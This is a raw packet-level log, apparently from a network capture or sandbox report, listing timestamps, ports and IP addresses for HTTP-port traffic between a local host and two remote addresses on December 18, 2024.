Dec 18, 2024 15:56:34.765166998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.765364885 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.765389919 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.765425920 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.766309977 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.766371012 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.766444921 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.766498089 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.767635107 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.767668009 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.767693996 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.767715931 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.768785954 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.768909931 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.768968105 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.769912958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.769977093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.770104885 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.770848989 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.771178007 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.771239996 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.771266937 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.771332979 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.772387028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.772449970 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.772480965 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.772547960 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.773626089 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.773646116 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.773698092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.774708033 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.774791002 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.774799109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.775413990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.775851011 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.776055098 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.776117086 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.777137041 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.777154922 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.777215958 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.778377056 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.778395891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.778460979 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.779509068 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.779561996 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.779582024 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.779671907 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.780663013 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.780729055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.780776978 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.780836105 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.781953096 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.781971931 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.782026052 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.783092022 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.783164024 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.783212900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.783330917 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.784296036 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.784301996 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.784356117 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.785454035 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.785681009 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.785696030 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.785748959 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.786604881 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.786678076 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.786736012 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.786806107 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.787831068 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.787985086 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.788057089 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.788959980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.789016008 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.789202929 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.789257050 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.790266991 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.790278912 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.790328026 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.791352987 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.791482925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.791543007 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.792640924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.792767048 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.792849064 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.793844938 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.793852091 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.793906927 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.794996023 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.795066118 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.935571909 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.959835052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.959847927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.959860086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.959903002 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.959973097 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.960022926 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.960306883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.960314035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.960325956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.960355043 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.960361004 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.960858107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.960932016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.960932970 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.960969925 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.961282015 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.961383104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.961396933 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.961409092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.961436987 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.961899042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.961961985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.962014914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.962021112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.962035894 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.962061882 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.963161945 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.963365078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.963442087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.963449001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.963498116 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.963933945 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.963984013 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.963992119 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.964030027 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.964124918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.964740038 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.964792013 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.964797020 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.964803934 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.964843035 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.964907885 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.964941978 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.965662956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.965670109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.965682030 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.965718031 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.965886116 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.966543913 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.966550112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.966562033 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.966594934 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.966639042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.966861010 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.967485905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.967525959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.967536926 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.967571020 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.967638969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.968364000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.968369961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.968377113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.968409061 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.968564987 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.969312906 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.969357014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.969362974 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.969383001 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.969410896 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.969491959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.969887972 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.970259905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.970266104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.970278025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.970539093 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.970552921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.971120119 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.971134901 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.971144915 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.971180916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.971270084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.972098112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.972104073 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.972117901 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.972158909 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.972229958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.973125935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.973133087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.973145008 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.973185062 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.973520994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.973568916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.974092007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.974186897 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.974193096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.974240065 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.974327087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.974875927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.974890947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.974901915 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.974937916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.975219011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.975769043 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.975815058 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.975851059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.975858927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.975883961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.975903988 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.975917101 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.976633072 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.976684093 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.976690054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.976727962 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.976804018 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.977521896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.977566004 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.977571964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.977577925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.977617025 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.977639914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.977689028 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.978467941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.978528976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.978534937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.978590012 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.978632927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.978842974 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.979351997 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.979423046 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.979437113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.979471922 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.979615927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.980241060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.980247021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.980294943 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.980345964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.980353117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.980395079 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.981163979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.981209040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.981220007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.981266975 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.981302023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.981838942 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.982072115 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.982108116 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.982119083 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.982165098 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.982198000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.982243061 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.983031988 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.983095884 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.983103037 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.983155012 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.025320053 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.025428057 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.025933027 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.026057005 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.026149988 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.027091980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.027134895 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.027193069 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.028263092 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.028321981 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.028511047 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.029427052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.029480934 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.029496908 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.029851913 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.030563116 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.030647993 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.031955957 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.032015085 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.032059908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.033191919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.033230066 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.033276081 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.034215927 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.034280062 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.034338951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.035373926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.035412073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.035531998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.035818100 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.036540985 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.036660910 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.037781954 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.037859917 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.037892103 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.037928104 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.038991928 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.039035082 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.039076090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.039100885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.040116072 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.040222883 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.040251017 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.041450977 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.041498899 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.041529894 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.042798042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.042845011 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.042917013 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.042951107 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.043823004 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.043855906 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.043973923 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.044981003 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.045058966 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.045125961 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.046128035 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.046135902 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.046165943 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.046839952 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.047298908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.047338963 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.047409058 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.048429012 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.048554897 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.049623013 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.049688101 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.049725056 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.050879955 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.050921917 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.050942898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.052038908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.052103043 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.052144051 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.053198099 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.053239107 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.053307056 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.054485083 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.054523945 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.054557085 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.055620909 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.055664062 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.055736065 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.055818081 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.056875944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.056960106 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.057998896 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.058037996 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.058062077 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.058834076 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.059179068 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.059338093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.060369015 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.060415983 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.060455084 CET	80	49806	185.215.113.16	192.168.2.10
